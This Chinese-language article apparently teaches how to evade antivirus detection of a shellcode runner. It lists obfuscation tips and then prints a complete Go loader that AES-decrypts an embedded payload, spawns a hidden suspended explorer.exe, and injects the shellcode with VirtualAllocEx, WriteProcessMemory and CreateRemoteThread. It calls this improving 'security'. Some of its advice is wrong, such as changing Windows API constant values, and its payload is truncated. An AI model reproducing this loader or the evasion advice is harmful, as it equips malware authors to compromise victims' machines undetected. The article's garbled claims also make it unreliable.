如何避免ShellcodeRunner检测 - Golang 代码分析与优化

如何避免 ShellcodeRunner 检测 - Golang 代码分析与优化

ShellcodeRunner 是一款常用的恶意代码检测工具，能够识别并阻止恶意代码的执行。为了避免 ShellcodeRunner 的检测，可以尝试以下几种方法：

代码优化

1. 修改变量名: 修改变量名可以使检测器难以识别脚本是 ShellcodeRunner。例如，将 'bytesPayload' 改为 'payload'，将 'key' 改为 'secret'。

2. 修改常量值: 将 'MEM_COMMIT'、'MEM_RESERVE'、'PAGE_READWRITE'、'PAGE_EXECUTE_READ' 和 'PAGE_EXECUTE_READWRITE' 等常量的值进行修改，以使检测器无法识别这些常量。

3. 修改代码结构: 可以对代码结构进行修改，使其与 ShellcodeRunner 不同。例如，可以将函数调用顺序进行更改，或者添加一些无用的代码行。

加密与混淆

4. 修改加密算法: 选择不同的加密算法，例如 RSA 或 Blowfish，可以使 ShellcodeRunner 难以被检测到。

5. 使用混淆工具: 使用混淆工具可以对代码进行混淆，使其难以被检测到。例如，使用混淆器可以对函数名、变量名和常量名进行混淆，以使检测器无法识别脚本。

示例代码分析

以下是一段简单的 Golang 代码，展示了如何使用 AES 加密 shellcode 并注入到目标进程中：

package main

import (
	"crypto/aes"
	"os"
	"syscall"
	"unsafe"
	"strings"
	"strconv"
	"crypto/cipher"
	"errors"
)


const (
	MEM_COMMIT                = 0x1000
	MEM_RESERVE               = 0x2000
	PAGE_READWRITE            = 0x4
	PAGE_EXECUTE_READ         = 0x20
	PAGE_EXECUTE_READWRITE    = 0x40
	PROCESS_CREATE_THREAD     = 0x0002
	PROCESS_QUERY_INFORMATION = 0x0400
	PROCESS_VM_OPERATION      = 0x0008
	PROCESS_VM_WRITE          = 0x0020
	PROCESS_VM_READ           = 0x0010
	CREATE_SUSPENDED          = 0x4
	CREATE_NO_WINDOW          = 0x8000000
)

var (
	kernel32            = syscall.MustLoadDLL("kernel32.dll")
	ntdll               = syscall.MustLoadDLL("ntdll.dll")

	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")

	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
	VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
	VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
	WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
	OpenProcess         = kernel32.MustFindProc("OpenProcess")
	CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
	closeHandle         = kernel32.MustFindProc("CloseHandle")
)


func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
	c, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	gcm, err := cipher.NewGCM(c)
	if err != nil {
		return nil, err
	}

	nonceSize := gcm.NonceSize()
	if len(ciphertext) < nonceSize {
		return nil, errors.New("ciphertext too short")
	}

	nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
	return gcm.Open(nil, nonce, ciphertext, nil)
}


func StringBytesParseString(byteString string) (string, error) {
	byteString = strings.TrimSuffix(byteString, "]")
	byteString = strings.TrimLeft(byteString, "[")
	sByteString := strings.Split(byteString, " ")
	var res []byte
	for _, s := range sByteString {
		i, err := strconv.ParseUint(s, 10, 64)
		if err != nil {
			return "", err
		}
		res = append(res, byte(i))
	}

	return string(res), nil
}

func loadProcess(target string) *syscall.ProcessInformation {
	var si syscall.StartupInfo
	var pi syscall.ProcessInformation

	commandLine, err := syscall.UTF16PtrFromString(target)

	if err != nil {
		panic(err)
	}

	err = syscall.CreateProcess(
		nil,
		commandLine,
		nil,
		nil,
		false,
		CREATE_SUSPENDED | CREATE_NO_WINDOW,
		nil,
		nil,
		&si,
		&pi)

	if err != nil {
		panic(err)
	}

	return &pi
}

func main() {

	/* decode values from encoded bytes */
	key, err := StringBytesParseString("[84 150 98 245 237 193 145 86 135 82 188 200 46 124 65 173 209 254 138 245 19 5 189 101 220 215 179 85 12 221 12 82]"); if err != nil {
		os.Exit(1)
	}

	bytesPayload, err := StringBytesParseString("[177 151 56 195 91 108 64 ]"); if err != nil {
		os.Exit(1)
	}

	target, err := StringBytesParseString("[101 120 112 108 111 114 101 114 46 101 120 101]"); if err != nil {
		os.Exit(1)
	}

	/* decrypt shellcode using AES */
	shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
		os.Exit(1)
	}

	/* spawn target process */
	process := loadProcess(target)
	oldProtectCfg := PAGE_READWRITE

	 /* allocating the appropriate amount of memory */
	baseAddr, _, err := VirtualAllocEx.Call(
		uintptr(process.Process),
		0,
		uintptr(len(shellcode)),
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE,
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* overwriting process memory with our shellcode */
	_, _, err = WriteProcessMemory.Call(
		uintptr(process.Process),
		baseAddr,
		uintptr(unsafe.Pointer(&shellcode[0])),
		uintptr(len(shellcode)),
		0,
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* changing permissions for our memory segment */
	_, _, err = VirtualProtectEx.Call(
		uintptr(process.Process),
		baseAddr,
		uintptr(len(shellcode)),
		PAGE_EXECUTE_READ,
		uintptr(unsafe.Pointer(&oldProtectCfg)),
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* load remote thread */
	_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* close process handler */
	_, _, err = closeHandle.Call(uintptr(process.Process))
	if err.Error() != "The operation completed successfully." {
		os.Exit(1)
	}
}

总结

通过对代码进行优化、加密和混淆，可以有效地提高代码的安全性，避免 ShellcodeRunner 等检测工具的识别。需要注意的是，安全性是一个持续的斗争，需要不断地更新和改进，以应对不断变化的安全威胁。